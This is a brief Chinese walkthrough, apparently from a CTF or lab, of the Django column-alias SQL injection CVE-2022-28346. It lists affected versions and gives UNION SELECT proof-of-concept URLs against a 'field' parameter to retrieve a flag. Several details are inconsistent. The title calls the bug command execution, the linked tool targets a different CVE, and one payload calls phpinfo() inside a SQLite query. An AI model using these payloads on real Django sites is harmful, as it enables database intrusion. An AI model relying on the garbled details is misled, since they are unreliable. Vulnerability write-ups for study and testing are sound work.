1、命令執行漏洞
1.1、簡介
Django是用Python開發的一個免費開源的Web結構,幾乎包括了Web使用方方面面,能夠用于快速建立高性能、文雅的網站,Diango提供了許多網站后臺開發常常用到的模塊,使開發者可以專注于業務部分。
1.2、漏洞概述
漏洞編號:CVE-2022-28346
攻擊者使用精心編制的字典,通過 **kwargs 傳遞給QuerySet.annotate()、aggregate()和extra()這些方法,可導致這些方法在列別名中受到SQL注入攻擊,該漏洞在 2.2.28 之前的 Django 2.2、3.2.13 之前的 3.2 和 4.0.4 之前的 4.0 中都存在這個問題。
1.3、漏洞影響版本
4.0 <= Django < 4.0.4
3.2 <= Django < 3.2.13
2.2 <= Django < 2.2.28 ?
1.4、漏洞復現
瀏覽器訪問
訪問404可以獲取到報錯頁面查看報錯信息得到傳參接口(注入點接口)
訪問到demo/ 目錄下,同樣會出現報錯信息
利用報錯中提示的參數進行SQL注入
POC:??http://[ip]:[port]/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3"--%201?
?
驗證漏洞存在,直接上工具解決戰斗??https://github.com/Saferman/CVE-2020-7471.git??
亦或者在此注入發現版本號3.34.1,重新改造POC
POC: http://ip:port/demo/?field=demo.name" FROM "demo_user" union SELECT "1",phpinfo(),"3" --
通過ctrl+F 搜索 flag,取得最終的flag